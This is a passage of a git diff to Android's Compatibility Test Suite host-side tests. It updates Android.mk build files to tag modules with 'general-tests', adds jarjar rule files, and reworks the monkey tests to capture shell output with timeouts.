-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-982/app/Android.mk b/hostsidetests/jvmti/run-tests/test-982/app/Android.mk
index a06c76d..c6099b3 100644
--- a/hostsidetests/jvmti/run-tests/test-982/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-982/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-982/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-982/jarjar-rules.txt
new file mode 100644
index 0000000..125fa3f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-982/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest982@1
diff --git a/hostsidetests/jvmti/run-tests/test-984/Android.mk b/hostsidetests/jvmti/run-tests/test-984/Android.mk
index 3ddb2ad..b0a919a 100644
--- a/hostsidetests/jvmti/run-tests/test-984/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-984/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest984HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-984/app/Android.mk b/hostsidetests/jvmti/run-tests/test-984/app/Android.mk
index b30ff35..0a3c5ef 100644
--- a/hostsidetests/jvmti/run-tests/test-984/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-984/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-984/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-984/jarjar-rules.txt
new file mode 100644
index 0000000..b50c2b6
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-984/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest984@1
diff --git a/hostsidetests/jvmti/run-tests/test-985/Android.mk b/hostsidetests/jvmti/run-tests/test-985/Android.mk
index 0ed12de..0a55fac 100644
--- a/hostsidetests/jvmti/run-tests/test-985/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-985/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest985HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-985/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-985/jarjar-rules.txt
new file mode 100644
index 0000000..a784447
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-985/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest985@1
diff --git a/hostsidetests/jvmti/run-tests/test-986/Android.mk b/hostsidetests/jvmti/run-tests/test-986/Android.mk
index 8e6ec6f..6be45f2 100644
--- a/hostsidetests/jvmti/run-tests/test-986/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-986/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest986HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-986/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-986/jarjar-rules.txt
new file mode 100644
index 0000000..51026b8
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-986/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest986@1
diff --git a/hostsidetests/jvmti/tagging/Android.mk b/hostsidetests/jvmti/tagging/Android.mk
index 61e06a4..1ee7bee 100644
--- a/hostsidetests/jvmti/tagging/Android.mk
+++ b/hostsidetests/jvmti/tagging/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiTaggingHostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../host_side.mk
diff --git a/hostsidetests/jvmti/tagging/app/Android.mk b/hostsidetests/jvmti/tagging/app/Android.mk
index 343dc32..3cd89c1 100644
--- a/hostsidetests/jvmti/tagging/app/Android.mk
+++ b/hostsidetests/jvmti/tagging/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/tagging/jarjar-rules.txt b/hostsidetests/jvmti/tagging/jarjar-rules.txt
new file mode 100644
index 0000000..3dbf65a
--- /dev/null
+++ b/hostsidetests/jvmti/tagging/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTestTagging@1
diff --git a/hostsidetests/monkey/Android.mk b/hostsidetests/monkey/Android.mk
index 7c7ecb5..34305e8 100644
--- a/hostsidetests/monkey/Android.mk
+++ b/hostsidetests/monkey/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_CTS_TEST_PACKAGE := zzz.android.monkey
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/CategoryTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/CategoryTest.java
index ff04f6c..f3bb5d9 100644
--- a/hostsidetests/monkey/src/com/android/cts/monkey/CategoryTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/CategoryTest.java
@@ -16,31 +16,73 @@
 
 package com.android.cts.monkey;
 
+import com.android.tradefed.device.CollectingOutputReceiver;
+
+import java.util.concurrent.TimeUnit;
+
 public class CategoryTest extends AbstractMonkeyTest {
 
+    private static final long MAX_TIMEOUT = 5 * 60 * 1000; // 5 min
+
     public void testDefaultCategories() throws Exception {
-        String out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0] + " 5000");
-        assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
-        assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+        String cmd = MONKEY_CMD + " -v -p " + PKGS[0] + " 5000";
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        try {
+            mDevice.executeShellCommand(cmd, receiver, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+            String out = receiver.getOutput();
+            assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
+            assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+        } finally {
+            receiver.cancel();
+            receiver.clearBuffer();
+            receiver = null;
+        }
     }
 
     public void testSingleCategory() throws Exception {
-        String out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0]
-                + " -c android.intent.category.LAUNCHER 5000");
-        assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
-        assertFalse(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+        String cmd = MONKEY_CMD + " -v -p " + PKGS[0]
+                + " -c android.intent.category.LAUNCHER 5000";
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        try {
+            mDevice.executeShellCommand(cmd, receiver, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+            String out = receiver.getOutput();
+            assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
+            assertFalse(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+        } finally {
+            receiver.cancel();
+            receiver.clearBuffer();
+            receiver = null;
+        }
 
-        out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0]
-                + " -c android.intent.category.MONKEY 5000");
-        assertFalse(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
-        assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+        CollectingOutputReceiver receiver2 = new CollectingOutputReceiver();
+        try {
+            mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0]
+                    + " -c android.intent.category.MONKEY 5000", receiver2, MAX_TIMEOUT,
+                    TimeUnit.MILLISECONDS, 0);
+            String out = receiver2.getOutput();
+            assertFalse(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
+            assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+        } finally {
+            receiver2.cancel();
+            receiver2.clearBuffer();
+            receiver2 = null;
+        }
     }
 
     public void testMultipleCategories() throws Exception {
-        String out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0]
+        String cmd = MONKEY_CMD + " -v -p " + PKGS[0]
                 + " -c android.intent.category.LAUNCHER"
-                + " -c android.intent.category.MONKEY 5000");
-        assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
-        assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+                + " -c android.intent.category.MONKEY 5000";
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        try {
+            mDevice.executeShellCommand(cmd, receiver, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+            String out = receiver.getOutput();
+            assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
+            assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+        } finally {
+            receiver.cancel();
+            receiver.clearBuffer();
+            receiver = null;
+        }
     }
 }
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java
index 997f7c6..0241879 100644
--- a/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.monkey;
 
+import com.android.ddmlib.NullOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 
 import java.util.Scanner;
@@ -32,7 +33,8 @@
 
     public void testNotMonkey() throws Exception {
         mDevice.executeShellCommand("am start -W -a android.intent.action.MAIN "
-                + "-n com.android.cts.monkey/com.android.cts.monkey.MonkeyActivity");
+                + "-n com.android.cts.monkey/com.android.cts.monkey.MonkeyActivity",
+                new NullOutputReceiver());
         assertIsUserAMonkey(false);
     }
 
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/PackageTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/PackageTest.java
index 986304c..b3a22d6 100644
--- a/hostsidetests/monkey/src/com/android/cts/monkey/PackageTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/PackageTest.java
@@ -16,10 +16,14 @@
 
 package com.android.cts.monkey;
 
+import com.android.tradefed.device.CollectingOutputReceiver;
+
+import java.util.concurrent.TimeUnit;
 import java.util.regex.Pattern;
 
 public class PackageTest extends AbstractMonkeyTest {
 
+    private static final long MAX_TIMEOUT = 5 * 60 * 1000; // 5 min
     private static final int MAX_ERROR_LENGTH = 256;
     private static final Pattern ALLOW_MONKEY =
             Pattern.compile("^.*Allowing.*cmp=com\\.android\\.cts\\.monkey/\\.MonkeyActivity.*$",
@@ -30,23 +34,49 @@
                     Pattern.MULTILINE);
 
     public void testSinglePackage() throws Exception {
-        String out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0] + " 5000");
-        String error = truncateError(out);
-        assertTrue("Monkey not found in: " + error, ALLOW_MONKEY.matcher(out).find());
-        assertFalse("Chimp found in: " + error, ALLOW_CHIMP.matcher(out).find());
+        String cmd = MONKEY_CMD + " -v -p " + PKGS[0] + " 5000";
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        try {
+            mDevice.executeShellCommand(cmd, receiver, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+            String out = receiver.getOutput();
+            String error = truncateError(out);
+            assertTrue("Monkey not found in: " + error, ALLOW_MONKEY.matcher(out).find());
+            assertFalse("Chimp found in: " + error, ALLOW_CHIMP.matcher(out).find());
+        } finally {
+            receiver.cancel();
+            receiver.clearBuffer();
+            receiver = null;
+        }
 
-        out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[1] + " 5000");
-        error = truncateError(out);
-        assertFalse("Monkey found in: " + error, ALLOW_MONKEY.matcher(out).find());
-        assertTrue("Chimp not found in: " + error, ALLOW_CHIMP.matcher(out).find());
+        String cmd2 = MONKEY_CMD + " -v -p " + PKGS[1] + " 5000";
+        CollectingOutputReceiver receiver2 = new CollectingOutputReceiver();
+        try {
+            mDevice.executeShellCommand(cmd2, receiver2, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+            String out = receiver2.getOutput();
+            String error = truncateError(out);
+            assertFalse("Monkey found in: " + error, ALLOW_MONKEY.matcher(out).find());
+            assertTrue("Chimp not found in: " + error, ALLOW_CHIMP.matcher(out).find());
+        } finally {
+            receiver2.cancel();
+            receiver2.clearBuffer();
+            receiver2 = null;
+        }
     }
 
     public void testMultiplePackages() throws Exception {
-        String out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0]
-                + " -p " + PKGS[1] + " 5000");
-        String error = truncateError(out);
-        assertTrue("Monkey not found in: " + error, ALLOW_MONKEY.matcher(out).find());
-        assertTrue("Chimp not found in: " + error, ALLOW_CHIMP.matcher(out).find());
+        String cmd = MONKEY_CMD + " -v -p " + PKGS[0] + " -p " + PKGS[1] + " 5000";
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        try {
+            mDevice.executeShellCommand(cmd, receiver, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+            String out = receiver.getOutput();
+            String error = truncateError(out);
+            assertTrue("Monkey not found in: " + error, ALLOW_MONKEY.matcher(out).find());
+            assertTrue("Chimp not found in: " + error, ALLOW_CHIMP.matcher(out).find());
+        } finally {
+            receiver.cancel();
+            receiver.clearBuffer();
+            receiver = null;
+        }
     }
 
     private static final String truncateError(String input) {
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/SeedTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/SeedTest.java
index a0016e2..973e986 100644
--- a/hostsidetests/monkey/src/com/android/cts/monkey/SeedTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/SeedTest.java
@@ -25,7 +25,9 @@
         String out1 = mDevice.executeShellCommand(cmd1);
         String out2 = mDevice.executeShellCommand(cmd1);
         assertOutputs(out1, out2);
+    }
 
+    public void testSeed2() throws Exception {
         String cmd2 = MONKEY_CMD + " -s 3007 -v -p " + PKGS[0] + " 125";
         String out3 = mDevice.executeShellCommand(cmd2);
         String out4 = mDevice.executeShellCommand(cmd2);
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk
index 573b488..56b27f0 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk
index 22c8bf3..1cf9256 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/multiuser/Android.mk b/hostsidetests/multiuser/Android.mk
index ec18912..a043b55 100644
--- a/hostsidetests/multiuser/Android.mk
+++ b/hostsidetests/multiuser/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.host.multiuser
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/net/Android.mk b/hostsidetests/net/Android.mk
index 1c3f053..88fbe0c 100644
--- a/hostsidetests/net/Android.mk
+++ b/hostsidetests/net/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.net.hostsidenetwork
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/net/app/Android.mk b/hostsidetests/net/app/Android.mk
index 1c1a798..5e8c2b6 100644
--- a/hostsidetests/net/app/Android.mk
+++ b/hostsidetests/net/app/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_DEX_PREOPT := false
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/net/app2/Android.mk b/hostsidetests/net/app2/Android.mk
index 706455d..02071bf 100644
--- a/hostsidetests/net/app2/Android.mk
+++ b/hostsidetests/net/app2/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_DEX_PREOPT := false
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/numberblocking/Android.mk b/hostsidetests/numberblocking/Android.mk
index 42c7169..1aac30f 100644
--- a/hostsidetests/numberblocking/Android.mk
+++ b/hostsidetests/numberblocking/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE := CtsHostsideNumberBlockingTestCases
 
diff --git a/hostsidetests/numberblocking/app/Android.mk b/hostsidetests/numberblocking/app/Android.mk
index 5755f84..e98e508 100644
--- a/hostsidetests/numberblocking/app/Android.mk
+++ b/hostsidetests/numberblocking/app/Android.mk
@@ -27,10 +27,10 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test legacy-android-test
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsHostsideNumberBlockingAppTest
 
diff --git a/hostsidetests/os/Android.mk b/hostsidetests/os/Android.mk
index e54703e..3b8a1cf 100644
--- a/hostsidetests/os/Android.mk
+++ b/hostsidetests/os/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.host.os
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/os/app/Android.mk b/hostsidetests/os/app/Android.mk
index 86c109e..1897198 100644
--- a/hostsidetests/os/app/Android.mk
+++ b/hostsidetests/os/app/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceOsTestApp
 
diff --git a/hostsidetests/os/test-apps/Android.mk b/hostsidetests/os/test-apps/Android.mk
index 4afd486..9fadf37 100644
--- a/hostsidetests/os/test-apps/Android.mk
+++ b/hostsidetests/os/test-apps/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # Build the test APKs using their own makefiles
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
index 7ab0433..cfe131c 100644
--- a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
+++ b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
@@ -24,6 +24,6 @@
 LOCAL_PACKAGE_NAME := CtsHostLinkVerificationApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk b/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
index f7b98c3..a168845 100644
--- a/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
+++ b/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
@@ -26,6 +26,6 @@
 LOCAL_PACKAGE_NAME := CtsHostProcfsTestApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
index a333d42..67335f4 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
@@ -30,6 +30,6 @@
 
 LOCAL_PACKAGE_NAME := CtsStaticSharedLibConsumerApp1
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
index 9c2efaf..8ce6c9a 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
@@ -27,6 +27,6 @@
 
 LOCAL_PACKAGE_NAME := CtsStaticSharedLibConsumerApp2
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk
index 8a46932..c1f8cd1 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk
index 41d1eec..bd7a27e 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_AAPT_FLAGS := --shared-lib
 
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk
index 0be0049..04b794c 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk
@@ -23,7 +23,7 @@
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_AAPT_FLAGS := --shared-lib
 
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk
index e5becb5c..b4c5248 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk
index bfe894a..99acb17 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_AAPT_FLAGS := --shared-lib
 
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk
index 335cce9..ef92c71 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_AAPT_FLAGS := --shared-lib
 
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk
index bc09dc4..7e2753f 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk
